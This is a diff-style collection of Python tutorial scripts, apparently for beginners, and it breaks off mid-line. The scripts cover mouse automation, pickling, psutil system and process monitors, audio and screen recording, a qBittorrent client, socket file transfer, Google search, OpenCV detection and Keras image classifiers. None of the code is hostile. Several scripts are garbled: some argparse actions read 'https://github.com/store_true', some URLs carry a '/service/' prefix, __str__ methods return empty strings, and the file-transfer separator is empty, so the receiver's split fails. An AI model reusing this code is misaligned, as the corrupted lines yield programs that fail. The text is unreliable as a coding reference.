+mouse.hold('left') +# mouse.press('left') + +# drag from (0, 0) to (100, 100) relatively with a duration of 0.1s +mouse.drag(0, 0, 100, 100, absolute=False, duration=0.1) + +# whether a button is clicked +print(mouse.is_pressed('right')) + +# move 100 right & 100 down +mouse.move(100, 100, absolute=False, duration=0.2) + +# make a listener when left button is clicked +mouse.on_click(lambda: print("Left Button clicked.")) +# make a listener when right button is clicked +mouse.on_right_click(lambda: print("Right Button clicked.")) + +# remove the listeners when you want +mouse.unhook_all() + +# scroll down +mouse.wheel(-1) + +# scroll up +mouse.wheel(1) + +# record until you click right +events = mouse.record() + +# replay these events +mouse.play(events[:-1]) + + + + +import pickle + +# define any Python data structure including lists, sets, tuples, dicts, etc. +l = list(range(10000)) + +# save it to a file +with open("list.pickle", "wb") as file: + pickle.dump(l, file) + +# load it again +with open("list.pickle", "rb") as file: + unpickled_l = pickle.load(file) + + +print("unpickled_l == l: ", unpickled_l == l) +print("unpickled l is l: ", unpickled_l is l) + + + + +import pickle + +class Person: + def __init__(self, first_name, last_name, age, gender): + self.first_name = first_name + self.last_name = last_name + self.age = age + self.gender = gender + + def __str__(self): + return f"" + + +p = Person("John", "Doe", 99, "Male") + +# save the object +with open("person.pickle", "wb") as file: + pickle.dump(p, file) + +# load the object +with open("person.pickle", "rb") as file: + p2 = pickle.load(file) + +print(p) +print(p2) + + + + +import pickle + + +class Person: + def __init__(self, first_name, last_name, age, gender): + self.first_name = first_name + self.last_name = last_name + self.age = age + self.gender = gender + + def __str__(self): + return f"" + +p = Person("John", "Doe", 99, "Male") + +# get the dumped bytes +dumped_p = pickle.dumps(p) +print(dumped_p) + +# write them to a file +with open("person.pickle", "wb") as file: + file.write(dumped_p) + +# load it +with open("person.pickle", "rb") as file: + p2 = pickle.loads(file.read()) + +print(p) +print(p2) + + + + +import camelot +import sys + +# PDF file to extract tables from (from command-line) +file = sys.argv[1] + +# extract all the tables in the PDF file +tables = camelot.read_pdf(file) + +# number of tables extracted +print("Total tables extracted:", tables.n) + +# print the first table as Pandas DataFrame +print(tables[0].df) + +# export individually +tables[0].to_csv("foo.csv") + +# or export all in a zip +tables.export("foo.csv", f="csv", compress=True) + +# export to HTML +tables.export("foo.html", f="html") + + + + +import psutil +from datetime import datetime +import pandas as pd +import time +import os + + +def get_size(bytes): + """ + Returns size of bytes in a nice format + """ + for unit in ['', 'K', 'M', 'G', 'T', 'P']: + if bytes < 1024: + return f"{bytes:.2f}{unit}B" + bytes /= 1024 + + +def get_processes_info(): + # the list the contain all process dictionaries + processes = [] + for process in psutil.process_iter(): + # get all process info in one shot + with process.oneshot(): + # get the process id + pid = process.pid + if pid == 0: + # System Idle Process for Windows NT, useless to see anyways + continue + # get the name of the file executed + name = process.name() + # get the time the process was spawned + try: + create_time = datetime.fromtimestamp(process.create_time()) + except OSError: + # system processes, using boot time instead + create_time = datetime.fromtimestamp(psutil.boot_time()) + try: + # get the number of CPU cores that can execute this process + cores = len(process.cpu_affinity()) + except psutil.AccessDenied: + cores = 0 + # get the CPU usage percentage + cpu_usage = process.cpu_percent() + # get the status of the process (running, idle, etc.) + status = process.status() + try: + # get the process priority (a lower value means a more prioritized process) + nice = int(process.nice()) + except psutil.AccessDenied: + nice = 0 + try: + # get the memory usage in bytes + memory_usage = process.memory_full_info().uss + except psutil.AccessDenied: + memory_usage = 0 + # total process read and written bytes + io_counters = process.io_counters() + read_bytes = io_counters.read_bytes + write_bytes = io_counters.write_bytes + # get the number of total threads spawned by this process + n_threads = process.num_threads() + # get the username of user spawned the process + try: + username = process.username() + except psutil.AccessDenied: + username = "N/A" + + processes.append({ + 'pid': pid, 'name': name, 'create_time': create_time, + 'cores': cores, 'cpu_usage': cpu_usage, 'status': status, 'nice': nice, + 'memory_usage': memory_usage, 'read_bytes': read_bytes, 'write_bytes': write_bytes, + 'n_threads': n_threads, 'username': username, + }) + + return processes + + +def construct_dataframe(processes): + # convert to pandas dataframe + df = pd.DataFrame(processes) + # set the process id as index of a process + df.set_index('pid', inplace=True) + # sort rows by the column passed as argument + df.sort_values(sort_by, inplace=True, ascending=not descending) + # pretty printing bytes + df['memory_usage'] = df['memory_usage'].apply(get_size) + df['write_bytes'] = df['write_bytes'].apply(get_size) + df['read_bytes'] = df['read_bytes'].apply(get_size) + # convert to proper date format + df['create_time'] = df['create_time'].apply(datetime.strftime, args=("%Y-%m-%d %H:%M:%S",)) + # reorder and define used columns + df = df[columns.split(",")] + return df + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Process Viewer & Monitor") + parser.add_argument("-c", "--columns", help="""Columns to show, + available are name,create_time,cores,cpu_usage,status,nice,memory_usage,read_bytes,write_bytes,n_threads,username. + Default is name,cpu_usage,memory_usage,read_bytes,write_bytes,status,create_time,nice,n_threads,cores.""", + default="name,cpu_usage,memory_usage,read_bytes,write_bytes,status,create_time,nice,n_threads,cores") + parser.add_argument("-s", "--sort-by", dest="sort_by", help="Column to sort by, default is memory_usage .", default="memory_usage") + parser.add_argument("--descending", action="https://github.com/store_true", help="Whether to sort in descending order.") + parser.add_argument("-n", help="Number of processes to show, will show all if 0 is specified, default is 25 .", default=25) + parser.add_argument("-u", "--live-update", action="https://github.com/store_true", help="Whether to keep the program on and updating process information each second") + + # parse arguments + args = parser.parse_args() + columns = args.columns + sort_by = args.sort_by + descending = args.descending + n = int(args.n) + live_update = args.live_update + # print the processes for the first time + processes = get_processes_info() + df = construct_dataframe(processes) + if n == 0: + print(df.to_string()) + elif n > 0: + print(df.head(n).to_string()) + # print continuously + while live_update: + # get all process info + processes = get_processes_info() + df = construct_dataframe(processes) + # clear the screen depending on your OS + os.system("cls") if "nt" in os.name else os.system("clear") + if n == 0: + print(df.to_string()) + elif n > 0: + print(df.head(n).to_string()) + time.sleep(0.7) + + + + +from playsound import playsound +import sys + +playsound(sys.argv[1]) + + + + +import pyaudio +import wave +import sys + +filename = sys.argv[1] + +# set the chunk size of 1024 samples +chunk = 1024 + +# open the audio file +wf = wave.open(filename, "rb") + +# initialize PyAudio object +p = pyaudio.PyAudio() + +# open stream object +stream = p.open(format=p.get_format_from_width(wf.getsampwidth()), + channels=wf.getnchannels(), + rate=wf.getframerate(), + output=True) + +# read data in chunks +data = wf.readframes(chunk) + +# writing to the stream (playing audio) +while data: + stream.write(data) + data = wf.readframes(chunk) + +# close stream +stream.close() +p.terminate() + + + + +from pydub import AudioSegment +from pydub.playback import play +import sys + +# read MP3 file +song = AudioSegment.from_mp3(sys.argv[1]) +# song = AudioSegment.from_wav("audio_file.wav") +# you can also read from other formats such as MP4 +# song = AudioSegment.from_file("audio_file.mp4", "mp4") +play(song) + + + + +import pyaudio +import wave +import argparse + +parser = argparse.ArgumentParser(description="an Audio Recorder using Python") +parser.add_argument("-o", "--output", help="Output file (with .wav)", default="recorded.wav") +parser.add_argument("-d", "--duration", help="Duration to record in seconds (can be float)", default=5) + +args = parser.parse_args() +# the file name output you want to record into +filename = args.output +# number of seconds to record +record_seconds = float(args.duration) + +# set the chunk size of 1024 samples +chunk = 1024 +# sample format +FORMAT = pyaudio.paInt16 +# mono, change to 2 if you want stereo +channels = 1 +# 44100 samples per second +sample_rate = 44100 + +# initialize PyAudio object +p = pyaudio.PyAudio() + +# open stream object as input & output +stream = p.open(format=FORMAT, + channels=channels, + rate=sample_rate, + input=True, + output=True, + frames_per_buffer=chunk) + +frames = [] +print("Recording...") +for i in range(int(44100 / chunk * record_seconds)): + data = stream.read(chunk) + # if you want to hear your voice while recording + # stream.write(data) + frames.append(data) +print("Finished recording.") +# stop and close stream +stream.stop_stream() +stream.close() +# terminate pyaudio object +p.terminate() + +# save audio file +# open the file in 'write bytes' mode +wf = wave.open(filename, "wb") +# set the channels +wf.setnchannels(channels) +# set the sample format +wf.setsampwidth(p.get_sample_size(FORMAT)) +# set the sample rate +wf.setframerate(sample_rate) +# write the frames as bytes +wf.writeframes(b"".join(frames)) +# close the file +wf.close() + + + + +import cv2 +import numpy as np +import pyautogui + +# display screen resolution, get it from your OS settings +SCREEN_SIZE = (1920, 1080) +# define the codec +fourcc = cv2.VideoWriter_fourcc(*"MJPG") +# create the video write object +out = cv2.VideoWriter("output.avi", fourcc, 10.0, (SCREEN_SIZE)) + +# while True: +for i in range(100): + # make a screenshot + img = pyautogui.screenshot() + # convert these pixels to a proper numpy array to work with OpenCV + frame = np.array(img) + # convert colors from BGR to RGB + frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) + # write the frame + out.write(frame) + # show the frame + # cv2.imshow("screenshot", frame) + # if the user clicks q, it exits + if cv2.waitKey(1) == ord("q"): + break + +# make sure everything is closed when exited +cv2.destroyAllWindows() +out.release() + + + + +import psutil +import platform +from datetime import datetime + +def get_size(bytes, suffix="B"): + """ + Scale bytes to its proper format + e.g: + 1253656 => '1.20MB' + 1253656678 => '1.17GB' + """ + factor = 1024 + for unit in ["", "K", "M", "G", "T", "P"]: + if bytes < factor: + return f"{bytes:.2f}{unit}{suffix}" + bytes /= factor + + +print("="*40, "System Information", "="*40) +uname = platform.uname() +print(f"System: {uname.system}") +print(f"Node Name: {uname.node}") +print(f"Release: {uname.release}") +print(f"Version: {uname.version}") +print(f"Machine: {uname.machine}") +print(f"Processor: {uname.processor}") + +# Boot Time +print("="*40, "Boot Time", "="*40) +boot_time_timestamp = psutil.boot_time() +bt = datetime.fromtimestamp(boot_time_timestamp) +print(f"Boot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}") + +# let's print CPU information +print("="*40, "CPU Info", "="*40) +# number of cores +print("Physical cores:", psutil.cpu_count(logical=False)) +print("Total cores:", psutil.cpu_count(logical=True)) +# CPU frequencies +cpufreq = psutil.cpu_freq() +print(f"Max Frequency: {cpufreq.max:.2f}Mhz") +print(f"Min Frequency: {cpufreq.min:.2f}Mhz") +print(f"Current Frequency: {cpufreq.current:.2f}Mhz") +# CPU usage +print("CPU Usage Per Core:") +for i, percentage in enumerate(psutil.cpu_percent(percpu=True, interval=1)): + print(f"Core {i}: {percentage}%") +print(f"Total CPU Usage: {psutil.cpu_percent()}%") + +# Memory Information +print("="*40, "Memory Information", "="*40) +# get the memory details +svmem = psutil.virtual_memory() +print(f"Total: {get_size(svmem.total)}") +print(f"Available: {get_size(svmem.available)}") +print(f"Used: {get_size(svmem.used)}") +print(f"Percentage: {svmem.percent}%") +print("="*20, "SWAP", "="*20) +# get the swap memory details (if exists) +swap = psutil.swap_memory() +print(f"Total: {get_size(swap.total)}") +print(f"Free: {get_size(swap.free)}") +print(f"Used: {get_size(swap.used)}") +print(f"Percentage: {swap.percent}%") + +# Disk Information +print("="*40, "Disk Information", "="*40) +print("Partitions and Usage:") +# get all disk partitions +partitions = psutil.disk_partitions() +for partition in partitions: + print(f"=== Device: {partition.device} ===") + print(f" Mountpoint: {partition.mountpoint}") + print(f" File system type: {partition.fstype}") + try: + partition_usage = psutil.disk_usage(partition.mountpoint) + except PermissionError: + # this can be catched due to the disk that + # isn't ready + continue + print(f" Total Size: {get_size(partition_usage.total)}") + print(f" Used: {get_size(partition_usage.used)}") + print(f" Free: {get_size(partition_usage.free)}") + print(f" Percentage: {partition_usage.percent}%") +# get IO statistics since boot +disk_io = psutil.disk_io_counters() +print(f"Total read: {get_size(disk_io.read_bytes)}") +print(f"Total write: {get_size(disk_io.write_bytes)}") + +# Network information +print("="*40, "Network Information", "="*40) +# get all network interfaces (virtual and physical) +if_addrs = psutil.net_if_addrs() +for interface_name, interface_addresses in if_addrs.items(): + for address in interface_addresses: + print(f"=== Interface: {interface_name} ===") + if str(address.family) == 'AddressFamily.AF_INET': + print(f" IP Address: {address.address}") + print(f" Netmask: {address.netmask}") + print(f" Broadcast IP: {address.broadcast}") + elif str(address.family) == 'AddressFamily.AF_PACKET': + print(f" MAC Address: {address.address}") + print(f" Netmask: {address.netmask}") + print(f" Broadcast MAC: {address.broadcast}") +# get IO statistics since boot +net_io = psutil.net_io_counters() +print(f"Total Bytes Sent: {get_size(net_io.bytes_sent)}") +print(f"Total Bytes Received: {get_size(net_io.bytes_recv)}") + + + + +from qbittorrent import Client + +# connect to the qbittorent Web UI +qb = Client("http://127.0.0.1:8080/") + +# put the credentials (as you configured) +qb.login("admin", "adminadmin") + +# open the torrent file of the file you wanna download +torrent_file = open("debian-10.2.0-amd64-netinst.iso.torrent", "rb") +# start downloading +qb.download_from_file(torrent_file) +# this magnet is not valid, replace with yours +# magnet_link = "magnet:?xt=urn:btih:e334ab9ddd91c10938a7....." +# qb.download_from_link(magnet_link) +# you can specify the save path for downloads +# qb.download_from_file(torrent_file, savepath="/the/path/you/want/to/save") + +# pause all downloads +qb.pause_all() + +# resume them +qb.resume_all() + + +def get_size_format(b, factor=1024, suffix="B"): + """ + Scale bytes to its proper byte format + e.g: + 1253656 => '1.20MB' + 1253656678 => '1.17GB' + """ + for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: + if b < factor: + return f"{b:.2f}{unit}{suffix}" + b /= factor + return f"{b:.2f}Y{suffix}" + +# return list of torrents +torrents = qb.torrents() + +for torrent in torrents: + print("Torrent name:", torrent["name"]) + print("hash:", torrent["hash"]) + print("Seeds:", torrent["num_seeds"]) + print("File size:", get_size_format(torrent["total_size"])) + print("Download speed:", get_size_format(torrent["dlspeed"]) + "/s") + +# Torrent name: debian-10.2.0-amd64-netinst.iso +# hash: 86d4c80024a469be4c50bc5a102cf71780310074 +# Seeds: 70 +# File size: 335.00MB +# Download speed: 606.15KB/s + + + + +""" +Client that sends the file (uploads) +""" +import socket +import tqdm +import os +import argparse + +SEPARATOR = "" + +BUFFER_SIZE = 1024 * 4 + + +def send_file(filename, host, port): + # get the file size + filesize = os.path.getsize(filename) + # create the client socket + s = socket.socket() + print(f"[+] Connecting to {host}:{port}") + s.connect((host, port)) + print("[+] Connected.") + + # send the filename and filesize + s.send(f"{filename}{SEPARATOR}{filesize}".encode()) + + # start sending the file + progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024) + with open(filename, "rb") as f: + for _ in progress: + # read the bytes from the file + bytes_read = f.read(BUFFER_SIZE) + if not bytes_read: + # file transmitting is done + break + # we use sendall to assure transimission in + # busy networks + s.sendall(bytes_read) + # update the progress bar + progress.update(len(bytes_read)) + + # close the socket + s.close() + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Simple File Sender") + parser.add_argument("file", help="File name to send") + parser.add_argument("host", help="The host/IP address of the receiver") + parser.add_argument("-p", "--port", help="Port to use, default is 5001", default=5001) + args = parser.parse_args() + filename = args.file + host = args.host + port = args.port + send_file(filename, host, port) + + + + +""" +Server receiver of the file +""" +import socket +import tqdm +import os + +# device's IP address +SERVER_HOST = "0.0.0.0" +SERVER_PORT = 5001 + +# receive 4096 bytes each time +BUFFER_SIZE = 4096 + +SEPARATOR = "" + +# create the server socket +# TCP socket +s = socket.socket() +# bind the socket to our local address +s.bind((SERVER_HOST, SERVER_PORT)) +# enabling our server to accept connections +# 5 here is the number of unaccepted connections that +# the system will allow before refusing new connections +s.listen(5) +print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}") +# accept connection if there is any +client_socket, address = s.accept() +# if below code is executed, that means the sender is connected +print(f"[+] {address} is connected.") + +# receive the file infos +# receive using client socket, not server socket +received = client_socket.recv(BUFFER_SIZE).decode() +filename, filesize = received.split(SEPARATOR) +# remove absolute path if there is +filename = os.path.basename(filename) +# convert to integer +filesize = int(filesize) +# start receiving the file from the socket +# and writing to the file stream +progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024) +with open(filename, "wb") as f: + for _ in progress: + # read 1024 bytes from the socket (receive) + bytes_read = client_socket.recv(BUFFER_SIZE) + if not bytes_read: + # nothing is received + # file transmitting is done + break + # write to the file the bytes we just received + f.write(bytes_read) + # update the progress bar + progress.update(len(bytes_read)) + +# close the client socket +client_socket.close() +# close the server socket +s.close() + + + + +import requests +import sys + +# get the API KEY here: https://developers.google.com/custom-search/v1/overview +API_KEY = "" +# get your Search Engine ID on your CSE control panel +SEARCH_ENGINE_ID = "" +# the search query you want, from the command line +query = sys.argv[1] +# constructing the URL +# doc: https://developers.google.com/custom-search/v1/using_rest +url = f"https://www.googleapis.com/customsearch/v1?key={API_KEY}&cx={SEARCH_ENGINE_ID}&q={query}" + +# make the API request +data = requests.get(url).json() +# get the result items +search_items = data.get("items") +# iterate over 10 results found +for i, search_item in enumerate(search_items, start=1): + # get the page title + title = search_item.get("title") + # page snippet + snippet = search_item.get("snippet") + # alternatively, you can get the HTML snippet (bolded keywords) + html_snippet = search_item.get("htmlSnippet") + # extract the page url + link = search_item.get("link") + # print the results + print("="*10, f"Result #{i}", "="*10) + print("Title:", title) + print("Description:", snippet) + print("URL:", link, "\n") + + + + +import cv2 +import matplotlib.pyplot as plt +import sys + +# read the image +image = cv2.imread(sys.argv[1]) + +# convert to RGB +image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) + +# convert to grayscale +gray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) + +# create a binary thresholded image +_, binary = cv2.threshold(gray, int(sys.argv[2]), 255, cv2.THRESH_BINARY_INV) +# show it +plt.imshow(binary, cmap="gray") +plt.show() + +# find the contours from the thresholded image +contours, hierarchy = cv2.findContours(binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) + +# draw all contours +image = cv2.drawContours(image, contours, -1, (0, 255, 0), 2) + +# show the image with the drawn contours +plt.imshow(image) +plt.show() + + + + +import cv2 + +cap = cv2.VideoCapture(0) + +while True: + _, frame = cap.read() + + # convert to grayscale + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + + # create a binary thresholded image + _, binary = cv2.threshold(gray, 255 // 2, 255, cv2.THRESH_BINARY_INV) + + # find the contours from the thresholded image + contours, hierarchy = cv2.findContours(binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) + + # draw all contours + image = cv2.drawContours(frame, contours, -1, (0, 255, 0), 2) + + # show the images + cv2.imshow("gray", gray) + cv2.imshow("image", image) + cv2.imshow("binary", binary) + + if cv2.waitKey(1) == ord("q"): + break + +cap.release() +cv2.destroyAllWindows() + + + + +import cv2 +import numpy as np +import matplotlib.pyplot as plt +import sys + +# read the image +image = cv2.imread(sys.argv[1]) + +# convert it to grayscale +gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + +# show the grayscale image, if you want to show, uncomment 2 below lines +# plt.imshow(gray, cmap="gray") +# plt.show() + +# perform the canny edge detector to detect image edges +edges = cv2.Canny(gray, threshold1=30, threshold2=100) + +# show the detected edges +plt.imshow(edges, cmap="gray") +plt.show() + + + + +import numpy as np +import cv2 + +cap = cv2.VideoCapture(0) + +while True: + _, frame = cap.read() + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + edges = cv2.Canny(gray, 30, 100) + cv2.imshow("edges", edges) + cv2.imshow("gray", gray) + if cv2.waitKey(1) == ord("q"): + break + +cap.release() +cv2.destroyAllWindows() + + + + +import cv2 + + +# loading the test image +image = cv2.imread("kids.jpg") + +# converting to grayscale +image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + +# initialize the face recognizer (default face haar cascade) +face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml") + +# detect all the faces in the image +faces = face_cascade.detectMultiScale(image_gray, 1.3, 5) +# print the number of faces detected +print(f"{len(faces)} faces detected in the image.") + +# for every face, draw a blue rectangle +for x, y, width, height in faces: + cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2) + +# save the image with rectangles +cv2.imwrite("kids_detected.jpg", image) + + + + +import cv2 + +# create a new cam object +cap = cv2.VideoCapture(0) + +# initialize the face recognizer (default face haar cascade) +face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml") + +while True: + # read the image from the cam + _, image = cap.read() + # converting to grayscale + image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + + # detect all the faces in the image + faces = face_cascade.detectMultiScale(image_gray, 1.3, 5) + + # for every face, draw a blue rectangle + for x, y, width, height in faces: + cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2) + + cv2.imshow("image", image) + + if cv2.waitKey(1) == ord("q"): + break + +cap.release() +cv2.destroyAllWindows() + + + + +from train import load_data, batch_size +from tensorflow.keras.models import load_model +import matplotlib.pyplot as plt +import numpy as np + +# CIFAR-10 classes +categories = { + 0: "airplane", + 1: "automobile", + 2: "bird", + 3: "cat", + 4: "deer", + 5: "dog", + 6: "frog", + 7: "horse", + 8: "ship", + 9: "truck" +} + +# load the testing set +# (_, _), (X_test, y_test) = load_data() +ds_train, ds_test, info = load_data() +# load the model with final model weights +model = load_model("results/cifar10-model-v1.h5") +# evaluation +loss, accuracy = model.evaluate(ds_test, steps=info.splits["test"].num_examples // batch_size) +print("Test accuracy:", accuracy*100, "%") + +# get prediction for this image +data_sample = next(iter(ds_test)) +sample_image = data_sample[0].numpy()[0] +sample_label = categories[data_sample[1].numpy()[0]] +prediction = np.argmax(model.predict(sample_image.reshape(-1, *sample_image.shape))[0]) +print("Predicted label:", categories[prediction]) +print("True label:", sample_label) + +# show the first image +plt.axis('off') +plt.imshow(sample_image) +plt.show() + + + + +from tensorflow.keras.models import Sequential +from tensorflow.keras.layers import Dense, Dropout, Activation, Flatten +from tensorflow.keras.layers import Conv2D, MaxPooling2D +from tensorflow.keras.callbacks import TensorBoard +import tensorflow as tf +import tensorflow_datasets as tfds +import os + +# hyper-parameters +batch_size = 64 +# 10 categories of images (CIFAR-10) +num_classes = 10 +# number of training epochs +epochs = 30 + +def create_model(input_shape): + """ + Constructs the model: + - 32 Convolutional (3x3) + - Relu + - 32 Convolutional (3x3) + - Relu + - Max pooling (2x2) + - Dropout + + - 64 Convolutional (3x3) + - Relu + - 64 Convolutional (3x3) + - Relu + - Max pooling (2x2) + - Dropout + + - 128 Convolutional (3x3) + - Relu + - 128 Convolutional (3x3) + - Relu + - Max pooling (2x2) + - Dropout + + - Flatten (To make a 1D vector out of convolutional layers) + - 1024 Fully connected units + - Relu + - Dropout + - 10 Fully connected units (each corresponds to a label category (cat, dog, etc.)) + """ + + # building the model + model = Sequential() + + model.add(Conv2D(filters=32, kernel_size=(3, 3), padding="same", input_shape=input_shape)) + model.add(Activation("relu")) + model.add(Conv2D(filters=32, kernel_size=(3, 3), padding="same")) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + model.add(Dropout(0.25)) + + model.add(Conv2D(filters=64, kernel_size=(3, 3), padding="same")) + model.add(Activation("relu")) + model.add(Conv2D(filters=64, kernel_size=(3, 3), padding="same")) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + model.add(Dropout(0.25)) + + model.add(Conv2D(filters=128, kernel_size=(3, 3), padding="same")) + model.add(Activation("relu")) + model.add(Conv2D(filters=128, kernel_size=(3, 3), padding="same")) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + model.add(Dropout(0.25)) + + # flattening the convolutions + model.add(Flatten()) + # fully-connected layers + model.add(Dense(1024)) + model.add(Activation("relu")) + model.add(Dropout(0.5)) + model.add(Dense(num_classes, activation="softmax")) + + # print the summary of the model architecture + model.summary() + + # training the model using adam optimizer + model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) + return model + + +def load_data(): + """ + This function loads CIFAR-10 dataset, and preprocess it + """ + # Loading data using Keras + # loading the CIFAR-10 dataset, splitted between train and test sets + # (X_train, y_train), (X_test, y_test) = cifar10.load_data() + # print("Training samples:", X_train.shape[0]) + # print("Testing samples:", X_test.shape[0]) + # print(f"Images shape: {X_train.shape[1:]}") + + # # converting image labels to binary class matrices + # y_train = to_categorical(y_train, num_classes) + # y_test = to_categorical(y_test, num_classes) + + # # convert to floats instead of int, so we can divide by 255 + # X_train = X_train.astype("float32") + # X_test = X_test.astype("float32") + # X_train /= 255 + # X_test /= 255 + # return (X_train, y_train), (X_test, y_test) + # Loading data using Tensorflow Datasets + def preprocess_image(image, label): + # convert [0, 255] range integers to [0, 1] range floats + image = tf.image.convert_image_dtype(image, tf.float32) + return image, label + # loading the CIFAR-10 dataset, splitted between train and test sets + ds_train, info = tfds.load("cifar10", with_info=True, split="train", as_supervised=True) + ds_test = tfds.load("cifar10", split="test", as_supervised=True) + # repeat dataset forever, shuffle, preprocess, split by batch + ds_train = ds_train.repeat().shuffle(1024).map(preprocess_image).batch(batch_size) + ds_test = ds_test.repeat().shuffle(1024).map(preprocess_image).batch(batch_size) + return ds_train, ds_test, info + + + +if __name__ == "__main__": + + # load the data + ds_train, ds_test, info = load_data() + # (X_train, y_train), (X_test, y_test) = load_data() + + # constructs the model + # model = create_model(input_shape=X_train.shape[1:]) + model = create_model(input_shape=info.features["image"].shape) + + # some nice callbacks + logdir = os.path.join("logs", "cifar10-model-v1") + tensorboard = TensorBoard(log_dir=logdir) + + # make sure results folder exist + if not os.path.isdir("results"): + os.mkdir("results") + + # train + # model.fit(X_train, y_train, + # batch_size=batch_size, + # epochs=epochs, + # validation_data=(X_test, y_test), + # callbacks=[tensorboard, checkpoint], + # shuffle=True) + model.fit(ds_train, epochs=epochs, validation_data=ds_test, verbose=1, + steps_per_epoch=info.splits["train"].num_examples // batch_size, + validation_steps=info.splits["test"].num_examples // batch_size, + callbacks=[tensorboard]) + + # save the model to disk + model.save("results/cifar10-model-v1.h5") + + + + +from train import load_data, create_model, IMAGE_SHAPE, batch_size, np +import matplotlib.pyplot as plt +# load the data generators +train_generator, validation_generator, class_names = load_data() +# constructs the model +model = create_model(input_shape=IMAGE_SHAPE) +# load the optimal weights +model.load_weights("results/MobileNetV2_finetune_last5_less_lr-loss-0.45-acc-0.86.h5") + +validation_steps_per_epoch = np.ceil(validation_generator.samples / batch_size) +# print the validation loss & accuracy +evaluation = model.evaluate_generator(validation_generator, steps=validation_steps_per_epoch, verbose=1) +print("Val loss:", evaluation[0]) +print("Val Accuracy:", evaluation[1]) + +# get a random batch of images +image_batch, label_batch = next(iter(validation_generator)) +# turn the original labels into human-readable text +label_batch = [class_names[np.argmax(label_batch[i])] for i in range(batch_size)] +# predict the images on the model +predicted_class_names = model.predict(image_batch) +predicted_ids = [np.argmax(predicted_class_names[i]) for i in range(batch_size)] +# turn the predicted vectors to human readable labels +predicted_class_names = np.array([class_names[id] for id in predicted_ids]) + +# some nice plotting +plt.figure(figsize=(10,9)) +for n in range(30): + plt.subplot(6,5,n+1) + plt.subplots_adjust(hspace = 0.3) + plt.imshow(image_batch[n]) + if predicted_class_names[n] == label_batch[n]: + color = "blue" + title = predicted_class_names[n].title() + else: + color = "red" + title = f"{predicted_class_names[n].title()}, correct:{label_batch[n]}" + plt.title(title, color=color) + plt.axis('off') +_ = plt.suptitle("Model predictions (blue: correct, red: incorrect)") +plt.show() + + + + +import tensorflow as tf +from keras.models import Model +from keras.applications import MobileNetV2, ResNet50, InceptionV3 # try to use them and see which is better +from keras.layers import Dense +from keras.callbacks import ModelCheckpoint, TensorBoard +from keras.utils import get_file +from keras.preprocessing.image import ImageDataGenerator +import os +import pathlib +import numpy as np + +batch_size = 32 +num_classes = 5 +epochs = 10 + +IMAGE_SHAPE = (224, 224, 3) + + +def load_data(): + """This function downloads, extracts, loads, normalizes and one-hot encodes Flower Photos dataset""" + # download the dataset and extract it + data_dir = get_file(origin='https://storage.googleapis.com/download.tensorflow.org/example_images/flower_photos.tgz', + fname='flower_photos', untar=True) + data_dir = pathlib.Path(data_dir) + + # count how many images are there + image_count = len(list(data_dir.glob('*/*.jpg'))) + print("Number of images:", image_count) + + # get all classes for this dataset (types of flowers) excluding LICENSE file + CLASS_NAMES = np.array([item.name for item in data_dir.glob('*') if item.name != "LICENSE.txt"]) + + # roses = list(data_dir.glob('roses/*')) + # 20% validation set 80% training set + image_generator = ImageDataGenerator(rescale=1/255, validation_split=0.2) + + # make the training dataset generator + train_data_gen = image_generator.flow_from_directory(directory=str(data_dir), batch_size=batch_size, + classes=list(CLASS_NAMES), target_size=(IMAGE_SHAPE[0], IMAGE_SHAPE[1]), + shuffle=True, subset="training") + # make the validation dataset generator + test_data_gen = image_generator.flow_from_directory(directory=str(data_dir), batch_size=batch_size, + classes=list(CLASS_NAMES), target_size=(IMAGE_SHAPE[0], IMAGE_SHAPE[1]), + shuffle=True, subset="validation") + + return train_data_gen, test_data_gen, CLASS_NAMES + + +def create_model(input_shape): + # load MobileNetV2 + model = MobileNetV2(input_shape=input_shape) + # remove the last fully connected layer + model.layers.pop() + # freeze all the weights of the model except the last 4 layers + for layer in model.layers[:-4]: + layer.trainable = False + # construct our own fully connected layer for classification + output = Dense(num_classes, activation="softmax") + # connect that dense layer to the model + output = output(model.layers[-1].output) + + model = Model(inputs=model.inputs, outputs=output) + + # print the summary of the model architecture + model.summary() + + # training the model using rmsprop optimizer + model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) + return model + + +if __name__ == "__main__": + + # load the data generators + train_generator, validation_generator, class_names = load_data() + + # constructs the model + model = create_model(input_shape=IMAGE_SHAPE) + # model name + model_name = "MobileNetV2_finetune_last5" + + # some nice callbacks + tensorboard = TensorBoard(log_dir=f"logs/{model_name}") + checkpoint = ModelCheckpoint(f"results/{model_name}" + "-loss-{val_loss:.2f}-acc-{val_acc:.2f}.h5", + save_best_only=True, + verbose=1) + + # make sure results folder exist + if not os.path.isdir("results"): + os.mkdir("results") + + # count number of steps per epoch + training_steps_per_epoch = np.ceil(train_generator.samples / batch_size) + validation_steps_per_epoch = np.ceil(validation_generator.samples / 